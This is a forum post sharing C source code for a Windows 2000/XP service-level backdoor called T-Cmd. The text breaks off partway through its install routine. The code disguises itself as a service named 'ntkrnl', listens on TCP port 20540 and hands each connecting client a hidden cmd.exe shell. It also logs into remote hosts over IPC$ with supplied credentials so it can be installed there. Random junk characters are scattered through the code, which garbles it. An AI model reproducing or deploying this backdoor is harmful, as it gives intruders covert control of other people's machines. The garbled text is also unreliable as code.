[分享]Windows2000-Xp服务级后门程序(源码) - 数学建模社区-数学中国

#include <windows.h> 2 Y. p7 s- B/ y' i6 C3 b8 H( p#include <stdio.h>

#define BUFFER_SIZE 1024 8 U s+ t' R0 h% L* Z( }! W/ Z 7 |% S) y; o9 x typedef struct3 G) ]% _- ?4 L* F { % m- s+ \* j- ~# p y HANDLE hPipe;/ o+ \/ {% c. J/ g SOCKET sClient;1 `9 [: f5 p! c* z }SESSIONDATA,*PSESSIONDATA;

typedef struct PROCESSDATA* y4 e5 q5 h9 e( q { / q& I- N7 D& }, B4 v0 ^. Q HANDLE hProcess; ' b `- j9 p/ E' A9 s4 l, K DWORD dwProcessId; # V. a% E3 B- Y8 p! L struct PROCESSDATA *next; 5 M, W& b# Y5 k) C}PROCESSDATA,*PPROCESSDATA;

HANDLE hMutex;8 k* l1 @( B6 g* I# E$ C PPROCESSDATA lpProcessDataHead;* Z0 U+ Q: i! O; o9 j8 R' n/ G PPROCESSDATA lpProcessDataEnd; ! E" J+ \+ B: j* fSERVICE_STATUS ServiceStatus;' h8 X" {- U# a& ^ SERVICE_STATUS_HANDLE ServiceStatusHandle;

void WINAPI CmdStart(DWORD,LPTSTR *); ) X' {* w. B% Q/ G" f1 Uvoid WINAPI CmdControl(DWORD);

DWORD WINAPI CmdService(LPVOID); 8 @3 D3 |# c |6 C1 x3 cDWORD WINAPI CmdShell(LPVOID); ! f3 ]) ]' ^8 w8 ?DWORD WINAPI ReadShell(LPVOID); 6 W1 [3 Z4 j8 G* \# @" G4 }DWORD WINAPI WriteShell(LPVOID);

BOOL ConnectRemote(BOOL,char *,char *,char *); 5 A* i1 u+ N0 Pvoid InstallCmdService(char *);0 T9 N3 D/ z8 M) i void RemoveCmdService(char *);

void Start(void); , m+ ~8 y2 p- a: J8 Z' evoid Usage(void);

int main(int argc,char *argv[])3 b4 E8 h+ c% o. L# V { 4 ~) k" }. Q& y3 W1 m0 L7 p+ _# @ SERVICE_TABLE_ENTRY DispatchTable[] =' d. Z( e7 K; [! R. z1 M: w { 0 o0 L# Z0 N) ^5 C {"ntkrnl",CmdStart}, ! a. o% b5 e; |1 g" e {NULL ,NULL }& f2 M5 ?1 Z4 `! [& s E+ i4 { };

if(argc==5): \2 Z" ^9 d, K6 _3 e( J {5 f9 i4 r2 b/ Y# U4 u7 d: U, D if(ConnectRemote(TRUE,argv[2],argv[3],argv[4])==FALSE) $ \# h5 o' s- k7 [ {4 d! b- j. q/ P$ v9 F* T return -1; 0 p! g, ^/ x4 ?3 X5 ]% U }

if(!stricmp(argv[1],"-install")) 2 A: {3 x2 x# b! \' {7 J+ k4 T { : ]1 u2 I: O! F InstallCmdService(argv[2]); # E1 }8 N7 h& w }. }- w/ T t1 P7 L* J1 L7 Q else if(!stricmp(argv[1],"-remove")): ~* t R2 ]1 ]; ]/ _1 S- c' z {9 m# J- S$ ^: U- C7 e8 J- | RemoveCmdService(argv[2]);. ?4 v: q/ L, ~* ` }

if(ConnectRemote(FALSE,argv[2],argv[3],argv[4])==FALSE). P( m" a) U9 h! H { 8 r' s! M: ~3 J1 X8 V$ t; i( ^: i4 I return -1;1 ]+ q; z6 r+ g0 D4 s- n }- D. C& Y* H" Q7 ] return 0; 4 z" P* [# z7 w4 ^ J1 f } ! q4 F4 O. j9 S3 |1 U* a, E else if(argc==2)+ z% r `( g& ~* \7 y {+ t( S6 M; `! X& C" v! l; L' W if(!stricmp(argv[1],"-install")) - ~# @7 T4 ]1 ]. K6 L$ s; s- s { / r m, a4 ]- u @' @ InstallCmdService(NULL); 2 m( t5 U" J: W. Z5 i' p5 d } ; J9 ]7 R0 t4 q; v6 p" A else if(!stricmp(argv[1],"-remove"))* B3 }) t: B! g: q0 r5 I" e2 G6 V {8 @' I' m- z, R" A1 Y+ c1 p RemoveCmdService(NULL);& T% P5 c6 m# j+ | }1 F# _3 }: y b, J2 Y T else ; v4 Y- G/ o/ ~5 W7 \0 M) A {9 ?( f/ @! N# L" H1 y Start();! a' E- u/ P- C4 i Usage(); E' c# M p! c8 ^; t- {, N } ! G% w( L3 J( `* o! V" ?5 | return 0; a. P/ L. m {$ ^! W& U$ U; Q1 F0 I }

StartServiceCtrlDispatcher(DispatchTable);

return 0;$ x/ ~# b: z, ?8 {! e }

void WINAPI CmdStart(DWORD dwArgc,LPTSTR *lpArgv)# v6 m$ E# l* N {, k& @& p6 s2 H' M" O HANDLE hThread;

ServiceStatus.dwServiceType = SERVICE_WIN32; & f2 {" B9 ]) ~. ~6 V ServiceStatus.dwCurrentState = SERVICE_START_PENDING;; g! @' x* T9 ^8 Q% T7 X ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP 5 w# c3 ~& \ j: T | SERVICE_ACCEPT_PAUSE_CONTINUE; * F1 e% M- u: A! E0 G, H( ~+ d- W ServiceStatus.dwServiceSpecificExitCode = 0;# M! |1 O% ~# n, A B ServiceStatus.dwWin32ExitCode = 0;; O/ r( b3 i4 [% B ServiceStatus.dwCheckPoint = 0;( S$ I9 q6 G% O; }$ r" }5 ? ServiceStatus.dwWaitHint = 0;

ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);9 M$ v& t% o% C if(ServiceStatusHandle==0)* H& A) Y1 \3 |, w, K0 Y$ Y4 ], f' P {' Y0 |6 q, }, E1 |0 u7 Z OutputDebugString("RegisterServiceCtrlHandler Error !\n");" F( G, w7 F" u) G9 U return ;. b% q) A& ~6 k3 {4 D# @# S# Z5 O; k }

ServiceStatus.dwCurrentState = SERVICE_RUNNING; + s; S# V5 q- d( x0 t' j* C ServiceStatus.dwCheckPoint = 0; 8 A2 w! m8 f& M ServiceStatus.dwWaitHint = 0; * N) [3 H: S, ~/ e8 j , }* p. N$ X8 Y+ S if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)! `, X9 B3 y; n- K n { % P3 K+ L5 R( j OutputDebugString("SetServiceStatus in CmdStart Error !\n");* t! M. u2 N V. J7 r | return ;, k4 D7 E9 \( e1 D. ?: ` }

hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); & f8 v( f+ ]: B7 a+ N2 X! J if(hThread==NULL) 0 R' N4 y! I) M& y {8 ?, z! m( f! ~0 G8 c% V6 P* W5 H1 ^9 W OutputDebugString("CreateThread in CmdStart Error !\n"); 7 M( u: c5 P C; n* g" D }

return ; 9 U# z4 K N# n}

void WINAPI CmdControl(DWORD dwCode) 0 @! {" {5 ^) l" a7 M{ 9 E) V% [1 a; X4 U+ l7 i switch(dwCode) ) V' o8 ?( F L5 ?( K4 P6 j0 V {! l2 n$ M) O! z case SERVICE_CONTROL_PAUSE:( ]/ o* x- a) }, x ServiceStatus.dwCurrentState = SERVICE_PAUSED; 0 z9 Z4 }' {" T# Z6 h3 k7 i4 ] break;

case SERVICE_CONTROL_CONTINUE: $ H2 O1 e2 @! S. a' V ServiceStatus.dwCurrentState = SERVICE_RUNNING; 8 L# b& \1 d5 |2 n9 g break;

case SERVICE_CONTROL_STOP: 8 S# H' ?; E4 C0 K% Y$ s0 E WaitForSingleObject(hMutex,INFINITE);3 t, m( z8 V( j while(lpProcessDataHead!=NULL)/ F" K% J* ]: G" D$ b# ~) O {# y+ t) @* S) e6 O TerminateProcess(lpProcessDataHead->hProcess,1);5 |% m- [' l1 O- j if(lpProcessDataHead->next!=NULL) . F( b4 v6 \6 K% c; `4 A( A, B2 m {6 S/ T3 | _. W7 F% S lpProcessDataHead=lpProcessDataHead->next; 9 V2 \; d2 q5 c, m2 W } 2 ]) `5 Z1 T2 a: F else( r9 X3 B ^9 ? O, s2 F) A9 z {( [4 i8 ?; i% k T, r7 x& ^& s { lpProcessDataHead=NULL;0 m5 E/ O# H6 X" i7 m. { } 2 z; m- E, L& f" Z( {' _& g }

ServiceStatus.dwCurrentState = SERVICE_STOPPED; 2 Y/ P5 N% ~$ e7 R' ` ServiceStatus.dwWin32ExitCode = 0;8 [; Y6 }$ [/ D% d ServiceStatus.dwCheckPoint = 0;% V6 R" w$ O3 Z( N ServiceStatus.dwWaitHint = 0;) M, T" |. |) S$ k3 i5 G9 w if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)$ w# A/ L' L! \& y/ ]; d { 9 _2 v) k7 N- t Q OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n"); 9 I9 ?& K1 M5 y& i }

ReleaseMutex(hMutex);- b! ^- V; A- X* m( j/ ^/ I: b# { CloseHandle(hMutex); ' {6 o% n9 l4 ]0 l7 ]; _4 P0 h return ;

case SERVICE_CONTROL_INTERROGATE:7 f, J( Z% Y k" k. U4 p break;

default: g( I2 Z- V% J. h& m4 u; g" k break;% I E" c) t2 r* F2 y4 M) Z4 V }

if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0) 5 p7 x5 @7 T1 r" g" A& Q& N2 U# |+ ` {) p2 ^7 F. c. Q5 D' Q9 V* k OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n"); 3 T; I" X/ j/ z+ j4 [ }

return ;5 m. ?! |1 [/ X2 |$ B4 E" a }

DWORD WINAPI CmdService(LPVOID lpParam)3 g9 ^& S" T7 _, r4 ] { " k9 L9 q; L M* w( l WSADATA wsa;1 W. E; O6 ~' M- B$ U9 b- V SOCKET sServer;" s0 T7 s5 Z' \+ J: q3 }3 ^2 X3 ^+ H SOCKET sClient; ! ?3 X7 G! B2 b* ?* _ HANDLE hThread;0 L9 G4 Z, [2 ? struct sockaddr_in sin;

WSAStartup(MAKEWORD(2,2),&wsa);- u! R# p4 [4 u0 B sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);8 w2 ?2 z: ~8 S& U9 R if(sServer==INVALID_SOCKET) Y& J- w9 v2 w' G" j6 {- t { 5 I5 G [+ Y M OutputDebugString("Socket Error !\n"); 0 w6 K% X% ^- T% c0 T return -1; 9 R i2 i2 _" k1 U# L } * q) U# [( E/ p$ M R$ Z/ V sin.sin_family = AF_INET; * ~7 o8 L5 C+ t$ ~9 x1 u) A0 r- ^ sin.sin_port = htons(20540); ' I6 B0 m1 _' z l5 q+ U sin.sin_addr.S_un.S_addr = INADDR_ANY;

if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR); c8 e! C& J0 ?, D% L/ Z) O' e {! R2 ~" R+ v$ H) D2 ^4 I* f* P: l/ e OutputDebugString("Bind Error !\n"); 5 |4 e( ~$ Q+ Y2 q; L+ B return -1; 6 N {" t" d t9 Z: W } 4 W( @" A- A* f. b if(listen(sServer,5)==SOCKET_ERROR) # [, u/ _9 ^* b2 s. O% p' ` P { & J7 |7 j- _ I8 l ]/ r) _ OutputDebugString("Listen Error !\n");* l) P. O1 B% K Z6 |8 O; l return -1; 6 Z% A f- r9 z8 E; ~( p }" B2 U+ m, i" O7 S 9 c E6 j9 M$ T n* L" q hMutex=CreateMutex(NULL,FALSE,NULL); y) B$ |: g2 e if(hMutex==NULL) 2 T% l$ c. z+ ~6 f3 B7 c+ P5 ] { $ ?% ]7 `6 j: q+ R OutputDebugString("Create Mutex Error !\n"); : _5 R3 y: B) F5 L" V# h0 F }2 q' y5 Q7 @/ i4 h0 N t lpProcessDataHead=NULL; & E+ K3 n; ]. V: y# ` lpProcessDataEnd=NULL;

while(1) : Q# ?: C. \$ d) X0 T {. P p7 \# J% Q: \0 Y sClient=accept(sServer,NULL,NULL); 2 c( z/ Z1 R( R, H! B8 ~6 M hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);+ w( Z8 S" Q$ o$ a+ y if(hThread==NULL)/ v9 I3 q# n9 L/ a$ K {+ s; E$ J+ k5 p! ?. R1 s OutputDebugString("CreateThread of CmdShell Error !\n");# K% z. ]. e4 G3 B! x! a5 A& z) f' d break;+ x' a, e7 z( k' z4 Q } 1 R% Q( ]$ c Q( f9 J. Q, x; r4 [ Sleep(1000);- T+ r1 L# o# r' U, O6 k# R }

WSACleanup(); 1 u0 p& x8 I3 f2 Q& U return 0;+ W& |# z* W2 z. P! b8 i }

DWORD WINAPI CmdShell(LPVOID lpParam) 2 N& G7 ?$ D' B) S' N {6 G& C. a- {2 v: `" J P) r, [ SOCKET sClient=*(SOCKET *)lpParam;/ R V$ `7 J. s2 }; f: | HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;5 i% n' \; |& |9 @8 @ K, L1 v) u HANDLE hThread[3];* ?+ z. e9 i7 V+ d1 s8 J DWORD dwReavThreadId,dwSendThreadId; 6 s; d# B2 p9 { DWORD dwProcessId; $ g! y R0 I% n DWORD dwResult; J6 |1 l2 a3 @) V$ j# |) |: Z9 e STARTUPINFO lpStartupInfo; * m- K& Q( R' R' `7 x% b SESSIONDATA sdWrite,sdRead; / V2 f9 v/ h& f% r2 m PROCESS_INFORMATION lpProcessInfo; R/ g0 N6 L/ ~9 S, Z! P SECURITY_ATTRIBUTES saPipe; - j6 }0 A6 j6 o. s; w PPROCESSDATA lpProcessDataLast; ( _' ^4 J. G r0 z: t PPROCESSDATA lpProcessDataNow; 0 s7 C0 q# N' h/ c" E& m8 x7 O char lpImagePath[MAX_PATH];

saPipe.nLength = sizeof(saPipe);2 o2 D9 v0 Z% i3 n, n saPipe.bInheritHandle = TRUE;2 |8 e- B' ]2 T* I5 ^% H saPipe.lpSecurityDescriptor = NULL; 3 c& S! c! e: {, v+ Q4 S3 I$ R if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0) ' n4 B S( C' k% M* s! @# K! @ { & C: e. H. x' O- k OutputDebugString("CreatePipe for ReadPipe Error !\n");6 G* |5 |% n! e( b2 \9 N return -1;1 U9 B: }" A4 t l: ~. C a1 p2 l1 E- L }

if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0) 9 N: ]# q1 q! Z9 B" p { 5 G* [4 z8 h, m; q8 ]; k; i0 Z OutputDebugString("CreatePipe for WritePipe Error !\n"); ' e( S) c' I1 b, D return -1; # i$ V6 D( A# H }

GetStartupInfo(&lpStartupInfo);9 a' N) z" `( g {5 F) e% T5 t lpStartupInfo.cb = sizeof(lpStartupInfo);- \; M, b: W$ K, b1 {: n lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;0 x: G) q3 |4 f: v8 u lpStartupInfo.hStdInput = hWriteShell;, I& z1 L' C0 o- ^ lpStartupInfo.hStdOutput = hReadShell;. F" v' V S& t, C7 F* ^+ v lpStartupInfo.hStdError = hReadShell; + Y( v& ~1 R1 ` ]3 r+ a8 C# H3 K' U lpStartupInfo.wShowWindow = SW_HIDE;

GetSystemDirectory(lpImagePath,MAX_PATH); 6 y. Z8 T r+ k! m strcat(lpImagePath,("\\cmd.exe"));8 g2 w4 P" u% h3 Y" a' {+ C # x2 n" S7 @9 @3 n" A1 @" x6 |0 p WaitForSingleObject(hMutex,INFINITE); 7 t% X" H- h1 p8 H5 P if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)3 M4 S0 N, r! R5 [! Q8 Z' j( _( r {+ x1 s( _ v* W! k, a OutputDebugString("CreateProcess Error !\n"); : G' b& T5 N: I/ h return -1; $ P- V" n8 o# m) i( I9 q }

lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));2 X5 _1 z* N, I$ n8 e lpProcessDataNow->hProcess=lpProcessInfo.hProcess;* h1 x: B9 |' d) K @& L* p5 s% s lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;$ x2 \! \4 b# O0 u! ~, y# X" C# S lpProcessDataNow->next=NULL; 6 j8 L5 j, ^' t$ Q' P# ] if((lpProcessDataHead==NULL) || (lpProcessDataEnd==NULL))+ x$ G5 \4 ?4 V7 K {! J: S6 l; E! c& a1 ~2 X, c lpProcessDataHead=lpProcessDataNow; . M, E/ @. g0 s% N9 A lpProcessDataEnd=lpProcessDataNow; 0 g; G, W* K8 A }- e- M2 E3 M! d6 i else1 O3 Z( u# _4 u { 4 M' N7 M* k! B' m' Q2 {, ~ lpProcessDataEnd->next=lpProcessDataNow;! {! x4 U7 g$ D C& L( E9 X1 I E& W lpProcessDataEnd=lpProcessDataNow;! `) G/ P9 x: W }

hThread[0]=lpProcessInfo.hProcess;$ r* M- |, Q1 s0 V+ H5 o& @1 ?6 W dwProcessId=lpProcessInfo.dwProcessId;% |+ h W5 f; }4 v CloseHandle(lpProcessInfo.hThread);) F. K! D% I* Y4 a0 C9 b; i' d ReleaseMutex(hMutex);

CloseHandle(hWriteShell);. k3 c+ d9 Z3 S: p# h/ p2 g CloseHandle(hReadShell);

sdRead.hPipe = hReadPipe;2 t! w' g" U6 O9 @0 J sdRead.sClient = sClient; ' D R% F: Q1 u6 ~# M3 O+ i hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);/ i, b0 h8 P- e+ t" L: Q) N. Z if(hThread[1]==NULL) % X3 |* _8 r# T& x' S { 4 c) w7 X Q# a) f9 |6 L' Y OutputDebugString("CreateThread of ReadShell(Send) Error !\n"); 2 \' `0 O8 D3 w0 v% x return -1; + `* } h6 [( P }

sdWrite.hPipe = hWritePipe; ! m8 h5 y2 f* _7 T sdWrite.sClient = sClient;3 L. z/ ?8 ~' C, G8 S4 H hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); ' Q/ t( u$ ~8 ]" O9 h4 ? if(hThread[2]==NULL). y b+ D& `4 j& r# a8 i7 M { / P9 K. \0 @5 v. Y0 t% W- M: c OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");% C3 d' J7 d) Q: O return -1; 7 r$ O5 K) q' U# I) M% W( n }

dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); 9 O% N) A- O1 X+ V7 K# f if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2))) k( d/ t! g2 C: b: q6 {- v" M { , s0 ?" t4 W" h* H( ] dwResult-=WAIT_OBJECT_0; ! i! S- c) \+ {( `( ? if(dwResult!=0): z9 G& u0 q3 z# g {) E0 n& w; b" \4 H' c3 e* }9 y; | TerminateProcess(hThread[0],1); ( C! D1 [8 T8 H5 |, I* B* b9 c } ; x: H9 q2 [! o* k' D- R CloseHandle(hThread[(dwResult+1)%3]); 2 F6 ~6 k3 ^# r+ L* f% n$ Q n; ` CloseHandle(hThread[(dwResult+2)%3]); & n% a4 g2 j& B }

CloseHandle(hWritePipe);+ l$ _4 L I, _1 _" } CloseHandle(hReadPipe);

WaitForSingleObject(hMutex,INFINITE); + L# ?( G1 @$ v% m3 ?7 w lpProcessDataLast=NULL;" A$ v+ h! K! F; b& p, e/ ^ lpProcessDataNow=lpProcessDataHead; % {8 x, M* g+ _4 s9 } Q% g while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId)) 9 i2 K: s8 y9 H1 n5 l% d { 0 A! { j# [- [% l* j; m# [ lpProcessDataLast=lpProcessDataNow; / V5 y3 x0 \1 y lpProcessDataNow=lpProcessDataNow->next; 9 M! _# E: F k5 p/ f2 k3 ~ } 7 S& J3 r2 c- h; V5 a2 ]: E' R if(lpProcessDataNow==lpProcessDataEnd) . n4 ^5 }2 T: I" i. a# F {: R5 B# O, U3 k9 D/ r if(lpProcessDataNow->dwProcessId!=dwProcessId) ( t* x) g$ x2 J' [ { $ l5 i' j2 b8 g) p OutputDebugString("No Found the Process Handle !\n"); 9 R- G9 D% z6 g" m9 A& O$ X }% H1 e+ W6 H3 U/ W7 O. Z else; O3 U. l% U1 l0 A9 K' x, E) S& S {/ W6 @% j- j' c* [ if(lpProcessDataNow==lpProcessDataHead) ) X" t5 B% e) Z9 B6 E% v {' K) k" a) ]" F) S$ E5 X lpProcessDataHead=NULL;* d9 V, K2 j9 R9 u6 Q! a) Z lpProcessDataEnd=NULL;: k) o* }) u- x) ? } # E. f1 `0 y+ d2 f" m3 @+ c6 L else4 X& c/ R6 W N+ |1 l+ w0 S { * v- y1 w; Z% b* ? c lpProcessDataEnd=lpProcessDataLast;1 c m8 B$ K+ |' q4 r# `0 k* q- ` } 5 g3 n' m$ Y+ `- f: [6 f; ] }; o( W0 n9 [9 P. t } * A# W& M6 A7 N else 9 G a: h' q0 z0 ~7 k# a { . I. ^5 u+ a: E" a if(lpProcessDataNow==lpProcessDataHead) 5 n& F7 _) `4 ~* ], f0 k$ j {8 Z% X* k4 k4 L' @3 v lpProcessDataHead=lpProcessDataNow->next; % `$ A6 l% z5 L6 z3 e }. ]. h9 }6 T: y3 h/ q- H# k+ M else 2 [+ L6 o* Q {- V1 \ { ) ^) G" N, n- | d o8 {6 u lpProcessDataLast->next=lpProcessDataNow->next; " V! M. a& ~# C0 f" A+ B } % U) t3 P7 t* k7 X% { }+ @7 F& B6 m% _% P3 M ReleaseMutex(hMutex);

return 0; : L* u+ B' g# i4 v2 J0 t}

DWORD WINAPI ReadShell(LPVOID lpParam) 2 s9 F- d" l* c; P q6 a# X+ i( h2 W{) B' Y" f7 e! Z: m3 j SESSIONDATA sdRead=*(PSESSIONDATA)lpParam;9 b4 o6 q: ~8 c( `4 `5 H( {- m DWORD dwBufferRead,dwBufferNow,dwBuffer2Send; 1 ]3 P7 x0 X) B) t% M char szBuffer[BUFFER_SIZE];+ k& A0 c: E- G( v& I5 |2 T char szBuffer2Send[BUFFER_SIZE+32]; $ e* J1 f0 F) {' w% c9 Z char PrevChar; , R t9 P- k4 [ t char szStartMessage[256]="\r\n\r\n\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\r\n\t\t---[ E-mail: TOo2y@safechina.net ]---\r\n\t\t---[ HomePage: www.safechina.net ]---\r\n\t\t---[ Date: 02-05-2003 ]---\r\n\n"; * B& L! |+ ]/ p& R+ Y, K char szHelpMessage[256]="\r\nEscape Character is 'CTRL+]'\r\n\n";

send(sdRead.sClient,szStartMessage,256,0);. c$ j$ m/ I6 O3 M. x' w send(sdRead.sClient,szHelpMessage,256,0);

while(PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL))8 d6 c: I P @, V/ t- ` { 4 S. z4 @2 N4 @* D2 @7 d& H1 s if(dwBufferRead>0) 5 }/ p1 k3 K3 ~2 }; @9 x {$ [! z n! p0 S: S ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); I6 R$ x5 F( ]4 K3 b9 h9 ? } 6 H, v# b( z1 p2 N/ q* K, r else & F8 f# A I7 S. s% S {' S! S: X; f2 ?! V- y Sleep(10); - s. @5 M5 B! d/ V0 _ continue; 6 y. l I9 H, w. F$ x: g2 w0 Y/ B* s }

for(dwBufferNow=0,dwBuffer2Send=0;dwBufferNow<dwBufferRead;dwBufferNow++,dwBuffer2Send++)1 k D9 w; V# W2 ^* E { 3 ]+ r8 ]! K1 o. Y. g+ n1 T' U7 [& @ if((szBuffer[dwBufferNow]=='\n') && (PrevChar!='\r')): j# }7 _2 o' ^6 S {0 T8 O! h O2 @) e) v: P szBuffer[dwBuffer2Send++]='\r';+ |/ X# k+ ]* k5 n/ [# c$ _7 M }2 ?) ~! e& L6 W. K PrevChar=szBuffer[dwBufferNow]; ! ?) P. Q# v& R5 A9 K2 Z+ \ szBuffer2Send[dwBuffer2Send]=szBuffer[dwBufferNow];. [2 G' [1 r$ F4 U$ X# a+ C }

if(send(sdRead.sClient,szBuffer2Send,dwBuffer2Send,0)==SOCKET_ERROR) ! p k; t( d, i: Q {7 D' ^, j* T; r1 F OutputDebugString("Send in ReadShell Error !\n"); 8 g- ?6 |2 d+ Y0 E( H H9 u break; 1 Y# M. P2 {6 h: ?; K1 s } : m0 x* [$ j6 |+ H Sleep(5); ! |$ M5 a" L, v( G/ e+ A3 _$ u }

shutdown(sdRead.sClient,0x02); : z$ U. j' c7 }' r `% }" v closesocket(sdRead.sClient);! E2 B& n& @/ ` J+ _7 d" P+ V return 0; 2 k- D# O5 Y% p1 i}

DWORD WINAPI WriteShell(LPVOID lpParam)1 M: c G# d+ |& u7 l { ) j. n! B7 a: @+ d SESSIONDATA sdWrite=*(PSESSIONDATA)lpParam;4 E3 ]* I+ I1 H$ k @* \ DWORD dwBuffer2Write,dwBufferWritten;% Z, o3 w* }: [# y char szBuffer[1]; & f/ m" b) [" K J/ y+ V char szBuffer2Write[BUFFER_SIZE];

dwBuffer2Write=0; ) F& n6 }5 i9 }$ I8 l7 w, [7 M while(recv(sdWrite.sClient,szBuffer,1,0)!=0) - U$ y) V! R: t& o {) ]8 T- E6 s) `9 A2 L& [5 B szBuffer2Write[dwBuffer2Write++]=szBuffer[0];

if(strnicmp(szBuffer2Write,"exit\r\n",6)==0) 8 T- k' P; ^$ x D6 f { 5 A6 n6 }7 F% u- |+ P shutdown(sdWrite.sClient,0x02); - _: O! l0 L( J4 v0 i closesocket(sdWrite.sClient); % T, U5 w. G' o2 B/ {7 }$ q$ w3 w return 0;, R7 D1 t) v. V! _ }

if(szBuffer[0]=='\n') 3 P6 c( f" e+ I0 Y i {2 W V# Y6 F2 u, Q if(WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL)==0) ! P9 }: v+ r7 G6 _ \( M- O {& \3 @9 u: c4 E$ K9 z* a8 l OutputDebugString("WriteFile in WriteShell(Recv) Error !\n"); 7 J- e( |/ ]) c break;7 H, f6 p- D# l3 D7 d }! E4 l, [5 D* m3 s& n1 l dwBuffer2Write=0;3 M, T! v" G6 v3 o' P }3 E" w# F. R) D# s& z Sleep(10); 4 O; X% k2 _0 C n }

shutdown(sdWrite.sClient,0x02); 8 j9 Z3 t! s6 b1 q. w, a/ `) E closesocket(sdWrite.sClient);( F: n1 O0 J4 f) z: e3 m: [ return 0;- }! v: u* B. ?0 Y }

BOOL ConnectRemote(BOOL bConnect,char *lpHost,char *lpUserName,char *lpPassword) # D- g$ Z* ~- W1 ], b+ [ { * o, Q. d9 l: @8 J1 y char lpIPC[256];' ^" x' ~! [" d9 e( U DWORD dwErrorCode; NETRESOURCE NetResource;

sprintf(lpIPC,"\\\\%s\\ipc$",lpHost);# o v" }$ u$ H8 B) l NetResource.lpLocalName = NULL;9 R, Y. e4 r8 T j. X NetResource.lpRemoteName = lpIPC; ) f' ]2 J9 {: p! [8 u$ _ NetResource.dwType = RESOURCETYPE_ANY;1 X. M- s+ g" O8 C% i NetResource.lpProvider = NULL;

if(!stricmp(lpPassword,"NULL")) % H, J( n! k4 z& v+ w { 9 Q0 E$ h* E/ q; P2 W8 a8 J# S( V! R* v lpPassword=NULL;( Y1 i' i! u0 v: A+ V }

if(bConnect) ) n; A7 z2 f4 S0 x6 F f { ! q/ P/ p; I4 l' T: J printf("Now Connecting ...... "); 8 I$ |6 g# e# L while(1)3 Q/ Z/ k* t8 Z {+ @0 u; Q1 R& W) i4 x dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);; J) Y5 s/ r o if((dwErrorCode==ERROR_ALREADY_ASSIGNED) || (dwErrorCode==ERROR_DEVICE_ALREADY_REMEMBERED))1 f/ V; k j6 e- E! `! V {5 g, n/ p3 A% \ WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);5 z$ w( `' D1 ~3 ?) l }2 d. U7 h) V4 r. b% X0 p& k5 ` else if(dwErrorCode==NO_ERROR)3 R; m$ h9 j/ r4 z) c { + M0 ^; T" @" W" n( | printf("Success !\n");5 [* k& k" N" K: o* G$ R! L break; & u- p, V. N. U" w } 8 Z# U) H; f* B7 h1 }# ?# Z else * A8 |6 l; |& Q! \1 e8 y {) D. l5 m) ^+ B. R$ _4 {) Y printf("Failure !\n"); 1 w9 W% F" A3 l% l+ o return FALSE;. U3 J, z( l9 A6 O9 i" Q# { } ' t# [' C% X$ ^% A" R4 Z3 j Sleep(10);9 S8 y- d& Q( X9 z( i' ] } % i/ {3 }+ g) ^& q( r9 @ n }8 ?8 I5 Z. O* l3 F8 k else - F% w5 k3 r' n2 T) j% a8 r7 | { 0 ?( v' T& s+ b printf("Now Disconnecting ... "); 5 S2 e) Z9 l; h+ W dwErrorCode=WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);3 _5 h6 F5 `- R4 j' g9 P if(dwErrorCode==NO_ERROR) : K$ w( P! s5 D: z { 1 x$ s5 o! R' T5 y, v printf("Success !\n");: s! \" B( {- E' t }* I. H- v( K6 s$ Z" B3 q$ ^ else + V' G$ P% t w. |9 F% _; E { c! s4 S4 ~, O" N/ \ printf("Failure !\n"); 8 [( l, s+ n4 t7 K5 c6 ? return FALSE; ; q+ A- z0 B2 Q( [ } o: F2 x) Q5 t) L }

return TRUE; ; h+ \; _: Q5 E" ~}

void InstallCmdService(char *lpHost) # G$ `8 V y4 d* L{3 N8 @( W `/ o& X# O) R SC_HANDLE schSCManager; 1 a1 O# {0 {5 B: ^- G% f! i SC_HANDLE schService;# |4 g9 S8 ?- D0 h char lpCurrentPath[MAX_PATH]; & Z6 L9 [; O; P# ?5 T+ c3 h; d char lpImagePath[MAX_PATH]; . E" c' H# g `. z' r char *lpHostName;9 e+ P) w% g) e8 E WIN32_FIND_DATA FileData;, T; S9 J9 J' c, I' A! b" P5 f HANDLE hSearch;$ E7 w' u6 l# `& R7 A DWORD dwErrorCode; : F/ p# R6 \) u! ]; m SERVICE_STATUS InstallServiceStatus;

